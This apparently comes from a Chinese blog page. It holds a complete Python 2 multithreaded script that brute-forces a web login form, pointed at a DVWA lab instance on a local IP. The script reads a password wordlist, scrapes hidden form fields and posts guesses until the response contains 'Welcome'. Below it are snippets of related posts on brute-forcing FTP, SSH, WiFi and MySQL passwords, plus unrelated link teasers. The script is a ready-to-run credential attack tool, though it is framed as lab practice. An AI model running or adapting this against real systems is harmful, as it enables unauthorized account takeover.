import urllib2
import urllib
import cookielib
import threading
import sys
import Queue
from HTMLParser import HTMLParser user_thread =10
#这里登录名默认admin
username ="admin"
#pass.txt中保存密码文本文件
wordlist_file ="pass.txt"
resume =None
#
target_url ="http://192.168.31.113:8080/dvwa/login.php"
target_post ="http://192.168.31.113:8080/dvwa/login.php" #用户名区域
username_field="username"
#密码区域
password_field="password" #检查是否成功登录
success_check="Welcome" class BruteParser(HTMLParser):
def __init__(self):
HTMLParser.__init__(self)
self.tag_results={} def handle_starttag(self,tag,attrs):
#找到<input>
if tag=="input":
tag_name=None
tag_value=None
# for example <input type="hidden" name="NXX" id="IDXX" value="VXX" />
# name=type,value=hidden name=name,value=NXX name=id,value=IDXX name=value,value="VXX"
#attrs中各标签的名字和值
for name_tag,name_tag_value in attrs:
#找到名字等于name的标签
if name_tag=="name":
#获得名字等于name的标签的值
tag_name=name_tag_value
#找到名字等于value的标签
if name_tag=="value":
#获得名字等于value的标签的值
tag_value=name_tag_value
# 将标签和标签的值放入tag_results{}
if tag_name is not None:
self.tag_results[tag_name]=name_tag_value class Bruter():
def __init__(self):#注意__init__ 左右两边都是两个_
#打开密码文件读取内容
fd=open(wordlist_file,"rb")
raw_words=fd.readlines()
fd.close()
found_resume=False
#队列
words=Queue.Queue()
for word in raw_words:
word=word.rstrip()
if resume is not None:
if found_resume:
words.put(word)
else:
#如果中断,可以恢复
if word==resume:
found_resume=True
print("resuming from"+resume)
else:
words.put(word)
self.username=username
self.password_q=words#密码再保存到password_q
self.found=False#是否找到正确密码
print("finish setting for: %s" % username) def web_bruter(self):
#密码队列没读取完且没找到正确密码
while not self.password_q.empty() and not self.found:
brute=self.password_q.get().rstrip()
#存放cookie
jar=cookielib.FileCookieJar("cookies")
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
#爬取目标网站内容
response=opener.open(target_url)
page=response.read()
print("plan to brute")
#获得标签
parser=BruteParser()
parser.feed(page)
post_tags=parser.tag_results
#传值给用户名区域
post_tags[username_field]=self.username
#传值给密码区域
post_tags[password_field]=brute
#url编码post_tags
login_data=urllib.urlencode(post_tags)
login_response=opener.open(target_post,login_data) login_result=login_response.read()
#检查是否成功登录
if success_check in login_result:
self.found=True
print("success")
print(username+":"+brute) # use more threads to start web_bruter
def run_bruteforce(self):
for i in range(user_thread):
t=threading.Thread(target=self.web_bruter)
t.start() bruter_obj=Bruter()
bruter_obj.run_bruteforce()

python实现暴力破解的更多相关文章

  1. XAMPP、PHPstorm和PHPcharm和Windows环境下Python搭建+暴力破解

    XAMPP的安装和使用 一.什么是XAMPP? XAMPP是最流行的PHP开发环境. XAMPP是完全免费且易于安装的Apache发行版,其中包含Apache.MariaDB.PHP和Perl. 类似 ...

  2. Python最新暴力破解WiFi,攻破所有密码限制,最强破解!

    暴力破解wifi密码 这个代码也是非常简单,这里需要用Python中的pywifi这个库,所以需要在DOS命令下安装这个库,同样使用pip install pywifi,很简单就安装成功了,我用的是P ...

  3. Python脚本暴力破解FTP口令(ftplib)

    目录 判断FTP服务器是否允许匿名登录 暴力破解FTP口令 列出FTP目录内的网页文件 综合 环境:Windows python2.7.15 ftplib模块是python下用于ftp服务的模块 . ...

  4. Python脚本暴力破解SSH口令以及构建僵尸网络(pxssh)

    目录 暴力破解SSH口令 SSH远端执行命令 构建僵尸网络 环境:Kali Linux  python 2.7.13 暴力破解SSH口令 Pxssh是pexpect库的ssh专用脚本,他能用预先写好的 ...

  5. [小技巧] Python 脚本暴力破解 HC2600 机顶盒管理密码

    家里最近接入了广电有线电视,配了三个创维 HC2600 机顶盒,并且每个机顶盒还带有无线路由器功能. 免费赠送 Internet 接入服务倒也没什么,不过机顶盒内置的 WIFI 实在有点寒酸:只支持 ...

  6. python 编写暴力破解mysql用户名密码

    本文摘自别人的,自己运行调试了一下#!/user/bin/env python#-*- coding:utf-8 -*- import pymysql#导入连接数据库的模块import sys cla ...

  7. 用python暴力破解压缩文件并不是万能,至少这个场景我告诉你密码你用代码也破解不了

    看到论坛上各种贴子写用python进行暴力破解的文章,于是自己也想去尝试一下,不试不知道,一试吓一跳,真的就像那句有名的”python由入门到放弃“,把论坛上别人的脚本全部自己敲一遍,运行不报错,但也 ...

  8. 最详细Python批量字典暴力破解zip密码

    工具破解 前两天在网上下来了一波项目案例,结果全是加密的压缩包,于是去网上找了一个压缩包破解的工具 苦于工具破解太慢,一个压缩包要好久,解压了三个之后就放弃了,准备另寻他法 密码字典 巧的是破解的三个 ...

  9. 4. DVWA亲测暴力破解

    LOW等级 我们先用burpsuite抓包,因为burpsuite提供了暴力破解模块   我们先创建一个1.txt文件夹,把正确的账号密码写进去   我们输入 Username:1 Password: ...

随机推荐

  1. angular 中如何使用自定义组件

    1.创建header组件 ng g component components/header header.component.ts import { Component, OnInit } from ...

  2. 在Linux下使用LLVM Clang以及Blocks

    可以从这个链接下载:http://llvm.org/releases/download.html sudo apt-get install llvm sudo apt-get install clan ...

  3. 雨田家园 delphi 拆分字符串

    最近在使用Delphi开发一种应用系统的集成开发环境.其中需要实现一个字符串拆分功能,方法基本原型应该是:procedure SplitString(src: string ; ch: Char; v ...

  4. c-lodop的三个进程和一个服务介绍

    在windows任务管理器里,最新版可以看到有三个进程,例如安32位c-lodop的时候,有CLodopPrint32.exe.CLodopPrint32_backup.exe.CLodopServi ...

  5. iOS-UIView的layoutSubviews和drawRect方法何时调用(转)

    转自:http://jianyu996.blog.163.com/blog/static/112114555201305113018814/ 首先两个方法都是异步执行.layoutSubviews方便 ...

  6. idea的enable auto-import/内存设置

    设置pom.xml依赖的自动导入 设置idea的memory heap On the Help menu, click Edit Custom VM Options. Set the -Xmx opt ...

  7. 【C# 开发技巧】 C#中WinForm程序退出方法技巧总结

    C#中WinForm程序退出方法技巧总结 一.关闭窗体 在c#中退出WinForm程序包括有很多方法,如:this.Close(); Application.Exit();Application.Ex ...

  8. linux下的进程通信之信号量semaphore

    概念: IPC 信号量和内核信号量非常相似,是内核信号量的用户态版本. 优点:每个IPC信号量可以保护一个或者多个信号量值的集合,而不像内核信号量一样只有一个值,这意味着同一个IPC资源可以保护多个独 ...

  9. 零基础python之列表的简单介绍

    你点击关注,就分你小鱼干 一.概念:列表,由一系列按特定顺序排列的元素组成. 在 python 中,用 [ ] 方括号来表示列表,并用逗号来分割其中的元素. 二.访问列表因素 列表是有序集合,如要访问 ...

  10. 安装新版redis4.0.6

    看看新版本有那些特性提升,测试用!先安装 网址:https://redis.io/download 获取:wget http://download.redis.io/releases/redis-4. ...